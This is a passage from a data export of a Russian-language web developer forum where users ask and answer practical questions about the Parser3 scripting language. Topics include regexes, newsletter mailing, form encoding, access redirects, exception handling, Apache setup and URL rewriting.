# сортируем, используя вункцию сортировки, в ней хоть по содержимому файла можете сортировать\
^list.sort{^sort_func[$list.name]}[desc]\
\
# у отсортированого забираем 3 первые строки\
$list_limit[^list.select(^list.line[] <= 3)]\
\
# собственно распечатываем результат, не забывая про taint/untaint\
^list_limit.menu{\
	$f[^file::load[text;/news/$list_limit.name]]\
	$f.text\
}[<br />]\
[/code]\
\
\
Вариант плох тем, что для ВСЕХ файлов, удовлетворяющих маске поиска мы будем делать file::stat, и это тот момент, когда самое время задуматься об использовании баз данных.\
С ними весь код получения данных заменяется на:\
$list_limit[^table::sql{SELECT text FROM news ORDER BY dt_published DESC}[$.limit(3)]]\
\
"
"11649","И то временно: в ущерб последней заметке. А все потому, что парсер, будь он не ладен, хрумкает лишние whitespace внутри тега <pre>. Для восстановления читабельности временно сделал тупую замену всех пробелов в означенном тэге на &nbsp;, а  про вложенные тэги забыл, вот и похерилась 7-ая заметка.\
\
Люди, подскажите, как обойти тайнтинг вайтспэйсов внутри тэги pre, а?"
"11650","а вообще загляни сюда:\
http://www.egoroff.spb.ru/portfolio/18.html"
"11651","from:\
\
[code]\
@matchHrefs[text]\
$result[^if(def $text){^text.match[(^^|[^^=\"])(http://|ftp://|mailto:)([:\\w~%\\{\\}./?=&@,#-]+)][gi]{${match.1}<a href=\"${match.2}${match.3}\">${match.2}${match.3}</a>}}]\
#end @matchHrefs[]\
[/code]\
\
to:\
\
[code]\
@matchHrefs[text]\
$result[^if(def $text){^text.match[(?<![=\"])((http://|ftp://|mailto:)([:\\w~%{}./?=&@,#-]+))][gi]{<a href=\"$match.1\">$match.1</a>}}]\
#end @matchHrefs[]\
[/code]"
"11653","Столкнулся с простой, с виду, задачей - имея дерево в XML отобразить заданный элемент и все его родительские ветви раскрытыми, а остальные ветви свёрнутыми, но не могу себе представить, как это оптимальнее всего сделать.\
\
Возможно, кто-то делал подобное или знает хороший сайт про XML и XPath, где описано, как такое делается."
"11654","хорошо - а если под мастдаем ?\
как логический диск указать ????\
\
кроме того может кто может объяснить механизм чтения с правами ?\
у меня под NTFS папка в секьюрити всем на чтение , вебшара всем на чтение + браузинг (IIS 5.0) \
\
$list[^file:list[/вебшара]] \
^list.menu{ \
   $list.name<br> \
} \
спиcок пустой $list.count  - 0\
\
таже ситуация с ^file:find - результат - файла нет\
в лоб гружу - нормально\
parser версия 3.3....06\
\
может я чегото не догоняю :(....\
 "
"11657","Спасибо, это должно решить. Еще один вопрос: CVS я качать не в состоянии, ибо виндовщик. Когда эта фича имеет шанс появиться в откомпиленном варианте на сайте? (я просто не совсем в курсе процедуры).\
\
Заранее спасибо."
"11658","Я конечно не совсем в тему, но на моей практике работа(скрипты) с деревом очень проста на javascript, и возможностей возникает больше(скажем открытие ветки глубоко в дереве с одновременным открытием всех его родителей и т.п.). Вообщем если что см. dhtml.ru\
Я совершенно не разбираюсь в XML, но мне кажеться, что у тебя заложена логическая ошибка: у всех родителей(parentNode) должны быть дети(childNodes), и соответсвенно у каждого Node должна быть взаимосвязь с parentNode, и мне все это представляеться только в виде таблицы взаимосвязей, хранить в виде атрибута ну совершенно глупо....\
вообщем я определенно могу ошибаться -- тут практика нужна, а я только собаку съел на деревьях с js"
"11659","http://www.wincvs.org/"
"11660","+ накопится несколько исправлений [среди них минимум два существенных]\
+ есть время\
= можно публиковать"
"11661","http://leechy.design.ru/\
\
там, правда, javascript, но дельного немало - очень советую..."
"11662","Задаю поиск в строке \
  $str[$request:uri]\
  ^str.match[/forum/]\
В результате у меня помимо форума /forum/ находится еще и главная страница /\
Как мне задать строгое соответсвие поиска, чтобы находился только форум?"
"11663","[в данном случае хотя бы того, что в доке по parser про есть про regexp]"
"11664","Только тогда уж оптимайзить дальше, избавившись от части запоминающих скобок:\
[code]\
@matchHrefs[text]\
$result[^if(def $text){^text.match[(?<![=\"])((http://|ftp://|mailto:)([:\\w~%{}./?=&@,#-]+))][gi]{<a href=\"$match.1\">$match.1</a>}}]\
#end @matchHrefs[]\
[/code]\
\
to:\
\
[code]\
@matchHrefs[text]\
$result[^if(def $text){^text.match[(?<![=\"])((?:http://|ftp://|mailto:)(?:[:\\w~%{}./?=&@,#-]+))][gi]{<a href=\"$match.1\">$match.1</a>}}]\
#end @matchHrefs[]\
[/code]\
\
P.S. когда я изучал регулярные выражения, не было lookbehind. почитал про них. понравилось. спасибо."
"11665","Читал и не раз.\
Но что касается регулярных выражений, то понимаю это дело с трудом."
"11666","Я тебе посоветую внимательно прочесть вот это http://www.artlebedev.ru/kovodstvo/paragraphs/96.html"
"11667","Очень бы хотелось узнать, а что у Мака за приоритеты такие. Есть документация по этому делу?"
"11669","их в парсере не обязательно экранировать"
"11670","Всем привет!\
\
Есть скрипт\
------------------\
\
@main[]\
Рассылка\
^makeDelivery[]\
\
\
@makeDelivery[]\
^MAIN:dbconnect{$emails[^table::sql{select email from dajdjestEmail}]} \
$ftxt[^file::load[binary;/message.txt]]\
$fhtm[^file::load[binary;/message.htm]]\
\
\
  \
^emails.menu{\
	^mail:send[ \
	      $.from[robot@dig.ru]\
	      $.x-mailer[Parser 3.0.0004]\
	      $.to[$emails.email]\
	      $.subject[Еженедельная рассылка]\
	      $.text[$ftxt.text]\
	      $.html{^taint[as-is][$fhtm.text]}\
	      $.charset[windows-1251]\
	]\
<br>$emails.email - send\
}\
------------------\
\
Когда адресов 3 штуки - все нормально, когда 3000 - падает с криком, что объелся памяти. Что можно сделать? Или направить свои стопы в сторону перла?\
\
Иван\
"
"11671","К тому же у меня есть одно маленькое НО,\
/forum/ лежит в переменной,\
а выражение ^str.match[\\$uri\\] вызывает ошибку."
"11672","первым слешем ты экранируешь доллер, вторым закрывающую скобку, ну и поскольку у открывающей скобки нету закрывающей, гребёшь апшибку."
"11673","1. это не админ раздел, а ака для клиентов.\
2. у меня был рисунок \"Мак'овского окна(с каемкой оранжа)\" вывод: цвет фона оранж (перерисовывать окно долговато \"пока что\")\
3. какой фон выбрать?\
4. да проект в стадии разработки (на парсере)\
5. кроме фона что надо пересматривать?"
"11676","тут просто надо подумать над использованием оси [b]ancestor-or-self[/b]"
"11678","сдается мне, что автору сообщения надо описать задачу, которую он решает.\
\
еще у меня есть подозрение, что для этой задачи (если она та как я думаю), match вообще не нужен... "
"11679","но закр. скобка всё-таки заэкранируется и апшибка из-за этого"
"11680"," Идет запрос: www.yy.zz/?param1=%E0%20%E1&param2=123\
Из парсера запрашиваю $form:param1 или $form:param2, не работает. Вручную извлекаю  из $request:uri %E0%20%E1. Вопрос: есть ли стандартные средсва перевода из %E0%20%E1 -> а б. Или придется делать это вручную (если вручну есть ли отточеный алг.). Спасибо заранее."
"11681","Не знаю как 3000, я тестировал у меня было 50 адресов он работает.\
\
Раз нехватает памяти, значит сервер не хочет этот процесс перемалывать.\
Попробуйте в несколько рассылок или найдите альтернативу - PHP например у меня еще такого не выдовал.\
\
А может SMTP ваш борится таким образом со спамом. Там точно out of memory?"
"11683","...в методах @auto[], там достучаться до значений формы еще низя, т.к. не известна кодировка...\
\
перенеси в другое место страницы - заработает.\
\
стандартных средств перевода такого нету (ну... кроме автоперевода в $form)."
"11684","2sanjar: возможно, вы пользуетесь версией <3.0.0006?"
"11685","Вот текст ошибки\
out of pool memory: failed to allocate 1082 bytes; already allocated on pool: 26893484 bytes in 77752 times\
\
Делать по несколько рассылок не очень удобно, сами понимаете"
"11686","зачем насиловать парсер, заставляя его генерировать 3000 одинаковых писем, если можно засунуть сразу все адреса в [i]bcc:[/i], и пусть почтовый сервер сам с ними разбирается.\
В вашем случае получаем что-то вроде этого:\
\
[code]\
@main[]\
Рассылка\
^makeDelivery[]\
\
\
@makeDelivery[]\
^MAIN:dbconnect{$emails[^table::sql{select email from dajdjestEmail}]} \
$ftxt[^file::load[binary;/message.txt]]\
$fhtm[^file::load[binary;/message.htm]]\
\
\
^mail:send[ \
$.from[robot@dig.ru]\
$.x-mailer[Parser 3.0.0004]\
$.to[info@dig.ru]\
$.bcc[^emails.menu{$emails.email}[,]]\
$.subject[Еженедельная рассылка]\
$.text[$ftxt.text]\
$.html{^taint[as-is][$fhtm.text]}\
$.charset[windows-1251]\
]\
<br>Alles in Ordnung!\
\
[/code]\
\
если не подходит, читаем [url=\"http://www.parser.ru/forum/?id=8839\"]этот тред[/url] до конца..."
"11687","Вроде работает.\
\
Большое спасибо.\
\
Тем, не менее это частичное решение - если все письма будут разные, то ничего не получиться, хотя в таком простом случае все работает."
"11688","Люди помогите, я не нахожу переменной HTTP_REFERER в окружение сервера, а она там вроде бы должна быть.\
Как её получить?"
"11689"," у меня 3.0005, и я вызываю не с @auto. значит придется manual. спасибо."
"11690","[code]\
@auto[]\
#так сейчас нельзя\
$form:имя\
\
@xxxxx[]\
#так можно\
$form:имя\
[/code]\
"
"11691","запрос вида\
[code]\
http://domain/?a=b\
[/code]\
не присылал parser'у QUERY_STRING\
\
там работало только так:\
[code]\
#если у вас настроен index.html оглавлением каталога\
http://domain/index.html?a=b\
[/code]\
\
может [b]это[/b] ваш случай?"
"11693","Товарищи, а что же у вас в форуме нет описания ошибок.\
Например: http://parser.ru/forum/?filter_type=lastdate&day=31&month=2&year=2002"
"11695"," у меня апач 1.3.27. и я вызываю $form:param не с метода @auto[] а метода @search[] :). на другой машине точно такой конфигурации(ОС, программы, ...) $form:имя работает."
"11696","если ты урл ручками набрал там нет ничего...\
\
напиши:\
[code]\
=$env:HTTP_REFERER=\
<a href=\"/\">проверка</a>\
[/code]\
в своем корневом index.html и кликни по ней... (это для Апача, про IIS я не в курсе)\
\
Или используй _test.html для тестирования... Там показывается реферер (пример: http://parser.ru/_test.html )..."
"11700","А?\
\
Дело в том, что на одной моей страничке вычисляются права доступа юзера, и если он вызывает не \"свою\" страницу, то его надо $response:location[на \"свою\" страницу].\
\
Но дело в том, что эта проверка реализована в auto.p корневого каталога (чтоб действовало на все вложенные каталоги), и когда юзер вызывает закрытую для него страничку, проверяется $request:uri, и, если это не тот uri, который может вызывать юзер, мы его шлем на \"его\" uri, но тут-то и получается зацикливание и Парсер вместе с Апачем с охами умирают.\
\
Если использовать вместо $response:location[] $response:refresh[], то все путем, но юзеру все же посылается запрещенная страничка, которую он, по сути, видеть не должен никак. Хоть там и задан refresh=0, я думаю, найдутся умельцы, которым хватит этого для записи паги. А в этом случае наша защита - понты.\
\
Так вот - кажется, $response:location[] не изменяет $request:uri. Как это обойти?"
"11701","вы пытались внутренний звать,\
вам нужен внешний.\
\
внутренний: на адрес \"/\"\
внешний: на адрес http://$env:SERVER_NAME/\
\
"
"11702","А что мешает сделать страницу проверки пустой?\
А если это чужая страница, зачем отдавать чужие данные?\
Можешь вообще бросать все к ядрене-фене - ^throw[invalid-user;auth-check;http://server/path], а потом отловить это в @unhandled-exception и сделать редирект.\
\
Это мысли. Ответ у PAF'а ниже."
"11703","не уверен только, что @unhandled_exception самое подходящее место.\
с одной стороны, точно мимо не пройдёт,\
с другой стороны: получается небольшая свалка."
"11704","сделал, как вы советовали, но при попытке вызова не \"своей\" странички, браузер затягивает, а Parser & Apache непомерно жрут ресурсы, и никакого толку. Хоть бы ошибку, что ли. Похоже, что это не меняет $request:uri и получается все тот же цикл."
"11705","страницу пустой не сделать, т.к. метод проверки задействован в auto.p и работает на каждой странице, как и требуется. Не проверять же мне юзера только на \"пустой\" странице..:)\
\
про ^throw[] я уже думал, но тут тоже не меняется $request:uri.\
Алгоритм работы такой:\
[code]\
1.пришел за-log-енный юзер. В процессе авторизации мы определили его права доступа\
\
2.^if($request:uri eq \"юзеру туда можно\"){\
          все путем - зеленый свет\
  }{\
          $response:location[куда можно юзеру]\
  }\
[/code]\
Но вот тут-то цикл и получается"
"11706","[quote]Не перехватывайте ошибки только для их красивого вывода, пусть этим централизованно займется метод unhandled_exception, вызываемый Parser если ни одного обработчика ошибки и не будет найдено. Кроме прочего, произойдет запись в журнал ошибок веб-сервера, который можно регулярно просматривать на предмет имевших место проблем.[/quote]\
Или я чего-то не понимаю и можно определить обработчик, который будет вызываться _вместо_ unhandled_exception при конкретном типе ошибки?\
Что-нибудь типа ^user-exception.handler[] куда можно впихнуть обработчик, а сам $user-exception при этом - объект класса exception с определенным, заданным в ^exception::create[type] типом? Тогда его можно бросать ^user-exception.throw[] и вылетать с определенной ошибкой."
"11709","совет PAF'а работает - все дела в кривости моих рук, как всегда - лишний слеш все портил. Спасибо за консультацию."
"11710","Я думаю, что тут допущена концептуальная ошибка. Может стоит задуматься, над тем, как это организовать более разумным (оптимальным) образом?\
[quote]\
Когда программа находится на стадии тестирования -- слишком поздно что-либо менять в её проекте. Эдинственный способ -- переписать программу.\
\
Из \"Дао программирования\" :)\
[/quote]\
\
Если честно, то я решил эту проблему так.\
В корневом auto.p у меня создаётся объект класса user, который несёт в себе информацию о текущем пользователе, умеет сам ловить параметры авторизации и создавать сессию и т.п.\
\
Нв луюой отдельно взятой странице или каталоге (auto.p), я могу создать таблицу допустимых групп. После этого я делаю проверку на придмет принадлежности хотябы одно группе. Если результат отрицательный, то я говорю \"Незя!\" и предлагаю ввести другой логин и пароль (если у пользователя много учётных записей) или перейти на глю стр.\
\
Вообще говоря, способов обработать много, гоавное -- научится вовремя (не очень рано, когда ещё не все параметры определены, но и не очень поздно, когда затрачены ресурсы на построение страницы и т.п.) понимать, что пользователь лезет не туда.\
\
Удачи."
"11711","В самом деле - то, что я сейчас разрабатываю, это только тест-вариант. На нем я пробую все, что для меня ново. Поэтому, может, и возникает нежалательное количество ошибок.\
\
А за идею - спасибо. Особенно мне понравился последний абзац - я над этим как-то вообще не задумывался..:) Сказывается зелень опыта."
"11712","Можно ли взглянуть на код данного форума или хотябы узнать о возможностях, которые должен выполнять администраторский раздел нормального форума.\
\
Зарание спасибо."
"11713","Как делают на форумах (возьмем даже этот), чтобы выделить новые сообщения с посделнего захода?\
В куки пишут последний ID и потом проверяют?\
Больше в голову мне ничего не лезет... :("
"11714","kak delaetsya v primerah (skroller), tol'ko s avtomaticheskim perehodom na sled. staricu (tipa /sendmailo.html?from_no=300)posle otpravki vseh pisem.\
I s kazhdoj stranicy posylaj po 200-300 soobschenij."
"11715","Можно ли создать с помощью Parser интернет-радио?"
"11716","для этого нужен media streaming server, а не parser."
"11717","Я просто решил немного усовершенствовать меню навигации взятое из урока №1. Таким образом чтобы текущий элемент меню оставался подсвеченным при погружении в подкаталоги, т.е. у меня есть каталог /forum/, когда я нахожусь в нем то элемент меню \"Форум\" подсвечивается, я погружаюсь дальше /forum/1/ и хочу чтобы \"Форум\" попрежнему оставался подсвеченным."
"11718","Люди помагайте не могу поставить Parser под Win32:\
\
Прописываю в конфиге Apache:\
LoadModule parser3_module z:/usr/local/parser/ApacheModuleParser3.dll\
\
В .htaccess прописываю:\
\
AddHandler parsed-html html \
ParserConfig z:/usr/local/parser/auto.p \
<Files ~ \"\\.p$\"> \
Order allow,deny \
Deny from all \
</Files> \
\
---------------\
Помогите пожалуйста....\
 \
"
"11719","http://www.parser.ru/docs/lang/?opin.htm"
"11720","[code]\
@matchHrefs[text]\
$result[^if(def $text){^text.match[(?<![=\"])((?:http://|ftp://|mailto:)(?:[:\\w~%{}./?=&@,#-]+))][gi]{<a href=\"$match.1\">$match.1</a>}}]\
#end @matchHrefs[]\
[/code]\
\
to:\
\
[code]\
@matchHrefs[text]\
$result[^if(def $text){^text.match[(?<![=\"])((?i:https?://|ftp://|mailto:)(?:[:\\w~%{}./?=&@,#-]+))][g]{<a href=\"$match.1\">$match.1</a>}}]\
#end @matchHrefs[]\
[/code]\
\
всё думаю, как сюда впихнуть распознавание www.domain.com/... или таки придётся новый регэксп делать..."
"11724","Задача такая.\
Главная странца сайта имеет большое количество статистики создаваемой Парсером. В связи с этим загружается он не очень шустро. Если возможность средствами Парсера создать что-то вроде progress bar'a который будет отображать процент загрузки страницы.\
Либо если невозможно, то хотя бы чтобы перед загрузкой появлялось сообщение \"подождите - страница загружается\""
"11725","фактически, не зная размера подгруженной информации, определить процент загрузки невозможно. Не знаю точно на счет всяких фич с Microsoft'овскими приколами, но сообшение, пока страница грузится, вывести можно. Я делал это так : \
Всем известно, что страница показывается в браузере по мере загрузки блоков, ее составляюших (рисунок, таблица, div, span и т.д.). Используя эту фичу, можно поделить всю страницу на 2 div'a (или span'a - кому как нравиться).  Получится 2 блока. Первый блок сделаем несодержательным - чтоб грузился быстро, пишем туда что-то типа \"подождите, грузится...\", и размещаем его сразу после тэга <body>. Во второй блок помещаем всю оставшуюся страницу и определяем атрибут style=\"z-index:2\" - у первого блока он должен быть меньшим. Далее объяснять? Не стоит - и так понятно (я думаю).\
\
Пример : \
[code]\
.\
.\
<body ...>\
<div style=\"width:100%; height:100%; z-index:1\">\
<table width=\"100%\" height=\"100%\" border=\"0\">\
<tr>\
<td align=\"center\" valign=\"middle\">\
Loading. Please, wait.\
</td>\
</tr>\
</table>\
</div>\
<div style=\"width:100%; height:100%; z-index:2\">\
вся страница\
</div>\
[/code]"
"11726","Как я уже писал обработка статистики идет с помощью Парсера. А насколько я понимаю пока парсер не закончит свою часть обработки информации, то браузеру хмтл код он подавать не будет. \
2PAF> Или я ошибаюсь."
"11727","Это простенький форум, административного раздела у него нет, точнее все вынесено прямо на сайт. Если посетитель имеет права администратора, то у него появляются дополнительные элементы интерфейса (кнопочки чтобы удалить/восстановить/закрыть/открыть тред).\
\
Вот и все. Административный раздел есть у раздела \"пользователи\", но там можно видеть/менять параметры пользователя (пароль только менять). Тупейший поиск пользователй по первым буковкам мыла (точно так-же у меня сделано в коктейльной базе, ссылка где-то в форуме).\
Т.е. 2 клика и пользователь найден, после этого можно править информацию о нем.\
\
"
"11728","Здравствуйте,\
\
подскажите пожалуйста, какие имеются способы установить русские шрифты под XP Professional без того, что-бы русифицировать весь интерфейс?\
\
В интернете я вроде могу и писать и читать по-русски, а вот в помощи или в инсталяционных диалогах от парсера - нет. Может у меня какие-то кодировки не те?\
\
Заранее благодарен,\
\
Molotoff"
"11729","Идея с div'ами не прокатит.\
Как вариант:\
[code]^if($env:HTTP_REFERER ne $request:uri){\
   <html><head><title>Загружаемся</title>\
   <body>Подождите, идет обработка данных</body></html>\
   $response:refresh[\
      $.value[0]\
      $.url[$request:uri]\
   ]\
}{\
   *** тут все вычисления и вывод ***\
}[/code]\
Итого, если клиент пришел не с нашего рефреша - показываем ему предупреждение и отваливаем считать. А если просто нажал F5, так он и так знает, что считаться будет долго."
"11731","А как быть с теми, которые не открывались (например, сообщения без текста?)\
\
На самом деле Александр имеет в виду окрашенные в красный цвет даты новых сообщений. Дата последнего посещения записывается в куку. При следующем визите считывается, и все сообщения, добавленные после той даты, отмечаются красным. Вот и вся фишка. Я прав, Misha v.3?"
"11732","В этом форуме окрашиваются _все сегодняшние_ сообщения ;-)"
"11733","Ну вообще не обрабатывает."
"11735","Не контачит...."
"11736","Не парсит страници и выдаёт как есть или не выдаёт ни чего, а может ещё что-то?\
\
Что конкретно происходит?"
"11737","Да я из первого урока про навигацию вписал всё создал и он выдаёт начальный код...\
@navigation... и т.д. Воть"
"11738","Это не парсер не работает. Это директивы из .htaccess не цепляются. Скорее вмего у тебя апач настроен так, что не берёт отдуда ни каких, а может каких-то, директив.\
\
Читай доку по апачу."
"11739","Да нет я же сталю другие директивы типа AddHandler server-parser .html .htm .shtml .shtm и всё пахает."
"11741","Сорри меня но я по Apache есчё ламер не мог бы ты мне кинуть твоё описание как установить парсер. e-mail: gizmo_webmaster@inbox.ru"
"11742","За подробностями см. тред \"Внесём ясность\""
"11743","История (http://www.parser.ru/forum/?id=11718) меня окончательно убедила, что люди не верно понимают убеждения создателей сей технологии, что Парсер -- это просто, что с ним вы легко начнёте создавать хорошие сайты. А я говорю: нет, не начнёте.\
\
Если вы не представляете как функционирует web, что такое web-сервер, какой он у вас версии и т.п., то вы ни чего не сможете зделать на голом знании, что \"это легко\".\
\
Призываю всех, кто знает или просто догадывается, что ни чего в этом не смыслет, сначала изучить азы, а только потом начинать изучать парсер.\
\
Да. Бывает так, что всё должно работать но не работает. Например когда Парсер выдаёт ошибку. Тогда можно говорить - \"я не могу настороить Парсер\", а если вы не можете просто его подружить с web-сервером, то вам ни сюда. Там тонкостей столько, что просто в форуме этого не объяснишь (хотябы потому, что не хочется). Нет желания помогать людям, которые и пытаться не хотят.\
\
P.S.: Парсер -- средство скриптования сайтов, а не \"штука, которая всё зделает за вас\". Нужно уметь не только программировать (это не маловажно), но идумать самостоятельно.\
\
Прошу прощения, если был резок."
"11744","Надо..."
"11745","Обрабатывать адреса типа:\
www.test.ru/user/vasia/\
www.test.ru/news/2003/01/18/"
"11746","[code]\
RewriteRule ^/user/([a-z]+)/$ /user/index.html?user=$1\
RewriteRule ^/news/([0-9]{4})/([0-9]{2})/([0-9]{2})/$ /news/index.html?year=$1&month=$2&day=$3\
[/code]"
"11747","Спасибо за ответ =).\
У меня вопрос как раз в том, как эти самые страницы отслеживать, т.е. физически страницы /user/vasia/ на серваке нет, и если набрать такой адрес то будет ошибка.\
Наверное, это вопрос не совсем по парсеру.\
Извините если спрашиваю очевидные вещи =)"
"11748","Этим и займётся модуль Rewrite"
"11749","клева разобрался =)"
"11750","а ты сам как думаеш в чем был прикол......"
"11751","к примеру есть .cfg файл с двух-столбцовой таблицей. Как программным путем сделать из нее 3-х (или 4-х)столбцовую?"
"11752","http://www.parser.ru/examples/p2table/"
"11753","^table[] выводил на экран, никак не создавал/изменял таблицу. Таблица (контекст) всегда имела фиксированную структуру."
"11754","И нужно ли ее (таблицу) так модифицировать?\
Пример?"
"11755","Можно, если генерить Playlist для winampa :), Мы в Донецке так сделали."
"11756","Ну дык! А кто-небудь такой скрипт создал?"
"11757","Ну, к примеру, в работе над сайтом я запарился и сделал таблицу в два столба. Сайт у меня двуязычный и надо выставить напротив каждой статьи на русском языке флажок -- есть полноценный перевод на другой язык или только аннотация (которую еще только предстоит сделать). Делать все это вручную -- долго и ломотно... легче проверить соответствие в папках /ru/ и /en/ -- файлов [id_number].dat (к примеру...) -- если есть, то в прибавленном столбце будет \"1\", если нет -- \"0\"...\
\
пример:\
\
было [code]\
author	article\
Chumbawamba	000_0001\
Wambachumba	000_0010\
[/code]\
\
стало:\
\
[code]author	article	ru_eq\
Chumbawamba	000_0001	1\
Wambachumba	000_0010	0[/code]\
\
ЗЫ: Я конечно понимаю, что ситуация глупая и надуманная (ситуация поактуальней была -- щаз уж не припомню, в чемм было дело -- но вопрос остался), и легче зайти в таблицу и обозначить столбцы ручками (наверное), но все-таки?\
\
И еще -- а если (допустим такой вариант) это придется делать самой программе на лету? (хотя это выглядит еще БОЛЕЕ надуманным..., но тем не менее...)\
\
Заранее благодарен за ответ ;)"
"11758","Дело лишь в том, что этого можно избежать.\
Как? В данном случаем можно сделать hash, в котором ключами служат адреса страниц (они же уникальны, да?), а значениями - 1, в сучае, если есть перевод. Если перевода нет - нет и ключа.\
А дальше банальный ^if(def $langHash.$pageID){yes}{no}...\
И это не единственный вариант.\
Просто я не вижу необходимости еще раз дублировать уже известные данные.\
\
С другой стороны, это действие (проверку файлов) надо делать каждый раз при загрзке страницы, что не всегда оправдано. Например, в случае, когда файлы могут только добавляться (но не удаляться). Тогда имеет смысл воспользоваться ^table::create в теле которого променюшить таблицу и проверить, есть ли нужный файл, если в соответствующем столбце стоит 0. А потом записать это дело на диск. При следующей загрузке число файловых проверок сократится... Делать, например, так:\
[code]$newData[^table::create{id -> name -> is_trans\
^oldData.menu{$oldData.id -> $oldData.name -> ^if(-f '.....'){1}{0}}[\
]}][/code]\
Это, конечно, не лучший вариант, (есть еще и ^file:list[]) но он практически единственный, если файлы \"раскиданы по всему диску\", а не лежат в одной папочке.\
Если они все в одном месте, решение очевидно:\
[code]$list[^file:list[dir;mask]]\
$liasHash[^list.hash[name][name]][/code]\
а дальше - по первому методу (лукап по имени файла).\
\
Можно и скомбинировать:\
[code]$list[^file:list[dir;mask]]\
$listHash[^list.hash[name][name]]\
$newData[^table::create{id -> name -> is_trans\
^oldData.menu{$oldData.id -> $oldData.name -> ^if(def $listHash.[$oldData.id]){1}{0}}[\
]}]\
^newData.save[на место старого][/code]\
\
Надеюсь, не перемудрил и идея ясна ;-)"
"11759","ведь это действительно можно решить просто:\
\
[code]$pres_tab[^table::load[/nana.cfg]]\
$new_tab[^table::create[author	article	ru_eq\
^pres_tab.menu{^if(-f /ru/${pres_tab.article}.dat){$pres_tab.author	$pres_tab_article	1}{$pres_tab.author	$pres_tab_article	0}}]]\
^new_tab.save[/nana.cfg]\
[/code]\
\
возможно, где-то ошибся, но принцип такой... :)"
"11761","вопрос как земенит перевод строки на <br>\
\
Когда делаешь замену \\n на <br> некатит :("
"11762","Как сделать общую регистрацию для форума и гостевой?"
"11763","Просто используешь общую базу данных где хранятся имена и *пароли для форума и для гостевой."
"11767","для XML-версии - скорее всего не установлены \"библиотеки поддержки XML\"..."
"11768","Спасибо, помогло :-)"
"11769","Люди. Помогите, пожалста!\
Что-то я туплю.\
\
Есть форма с текстовым полем. Пользователь вводит в него некоторое число.\
При нажатии на кнопку submit должна открываться страница типа\
index.html?это_самое_число\
\
В парсере недавно, поэтому ни хрена не получается"
"11770","<form method=\"get\"...\
\
причём тут парсер?."
"11771","кто-нибудь имел опыт установки Parser на Majordomo? CGI там есть. интересует, работает он там или нет."
"11775","<form action=\"Страница.html\" method=\"get\">\
<input type=\"text\" name=\"Имя\">\
<input type=\"submit\" value=\"Пошел\">\
</form>\
\
и прийдет \"Страница.html?Имя=то_что_ввели\"\
\
\
Вот и сё.\
"
"11777","Вы бы еще спросили что такое регистрация."
"11778","В Win32 надо менять chr(13) и chr(10) на <BR>"
"11780","понятное дело есть CGI -- значит будет работать, но мало ли что.."
"11781","человек заблудился на воздушном шаре, спускается вниз, видит человека, спрашивает его: \"Где я?\" человек внизу отвечает: \"Вы на воздушном шаре\". Внизу был математик ..."
"11782","а потом кидайся такими речами, умник.\
\
\"зделает\"\
\"идумать\"\
...\
\
ужас!.\
\
PS в установке и настройке Parser есть моменты, которые даже у опытного настройщика апачей и различных модулей вызывают сомнения. без вопросов не обойтись."
"11783","lion вообщем-то поднял интересный вопрос.\
\
PS. В Ваших постах ошибок тоже немало"
"11784","1. вы где-то ошиблись, и морочили окружающим голову, вот и всё.\
я просто хотел, чтобы вы написали, что сделали не так, чтобы ищущий информацию человек смог найти ошибку и её решение, если он вдруг допустит подобную.\
\
2. давайте на «вы»…"
"11786","А у нас просто таблица-журнал есть, где мы все значимые для безопасности и проч. действия фиксируем. Также фиксируем и время логина/логоффа."
"11787","не совсем: вывод != действия, хотя всё близко.\
\
мне не нравится: два куска кода общаются между собой, а не принадлежат одной сущности.\
\
получается, что из проекта в проект нельзя списать 1(один) файлик, чтобы поддержать функционал.\
\
но всегда можно что-то придумать.\
вариант к рассмотрению:\
\
[code]\
@auto[]\
$user_eh[^hash::create[]]\
\
@register_user_exception_handler[junction][i]\
$i($user_eh)\
$user_eh.$i[$junction]\
\
@unhandled_exception[e;stack][i]\
^for[i](0;$user_eh-1){\
    ^if(!$e.handled){\
        ^user_eh.$i[e]\
    }\
}\
^if(!$e.handled){\
    …\
}\
[/code]\
\
теперь любой объект/класс может зарегистрироваться, и обрабатывать глобальные ошибки.\
\
например:\
[code]\
@CLASS\
user\
\
@auto[]\
^register_user_exception_handler[local_exception_handler]\
\
@local_exception_handler[e]\
^if(e.type eq \"user.authorization\"){\
    ^authorization_failed[]\
    $e.handled(1)\
}\
\
@authorization_failed[]\
actions\
\
@authorize[]\
^if(…){\
    ^throw[user.authorization;failed]\
}\
[/code]\
\
конкретно применительно к авторизации пользователей это выглядит немного громоздко, однако это только один из примеров применения.\
и понятно, что подобным образом сообщённую ошибку можно легко перехватить, и, при надобности, подавить."
"11788","вы в этом сильно уверены?\
я обычно проверяю, добавляю директиву\
[code]\
bug\
[/code]\
\
после чего обращения должны выдавать 500 ошибку :)"
"11789","мелкая поправка:\
refresh: 0 \
не очень хорошо. лучше скольк-то. две-три-пять…\
\
на странице можно повесить анимированные часики :)\
\
моё мнение: [b]есть[/b] задачи, которые на parser делать не нужно. возможно, задача Алексея из таких."
"11790","есть denver, там всё проще некуда. \
но люди не используют поиск по форуму, поэтому не знают о нём.\
\
есть наш инсталлятор, но он не делает всего.\
\
если у кого есть силы, может кто займётся и улучшит инсталлятор?\
чтобы он умел [Enter] [Enter], и сам открывал http://localhost/_test.html, и чтобы тот показался."
"11792","Обычно поддержка платных хостингов часто самостоятельно устанавливает Parser. Во всяком случае на valuehost.ru так, хотя этот хостинг не слишком удобен в работе с П3."
"11793","кроме старой идеи с rewrite [вижу, lion уже ответил]\
есть не менее старая идея прегенерации страниц [из общеизвестного: форумы auto.ru].\
\
в каких-то случаях можно просто создать по шаблонам/базе данных страницу, и положить в /веб/пространство/её.html \
\
дальше сервер отдаст её сам, без нашей помощи.\
с какой-то регулярностью|по какому-то условию ходить и обновлять/стирать ненужное."
"11794","Не хотел принцепиально писать PHP код, но вижу придется\
\
$во_что = str_replace(chr(13).chr(10),\"<BR>\",$из_чего);\
хотя на PHP это делается удобней используя специальную, для этого преднозначенныю функцию:)\
\
А на парсере это тоже можно проделать. Как сейчас не вспомню, но неужели ты мне скажеш, что этого сделать незя?\
"
"11798","вариантов много.\
один из:\
\
сделайте локально, напустите teleport pro."
"11799","или даются советы - выкиньте парсер и юзайте php."
"11800","только вот примеры на php бесполезны и сбивают с толку новичков, - а такие вопросы только они и задают."
"11801","это конечно очень сложно -- создать текстовый файл.. да?"
"11802","но не хочется каждую страницу ручками сохранять постоянно, а что такое teleport pro?, первый раз слушу."
"11803","называется - сменить провайдера. Если там так говорят, значит не ценят свои услуги и их не заботит наличие клиентов.\
Я таких не любить и сразу сваливать.\
\
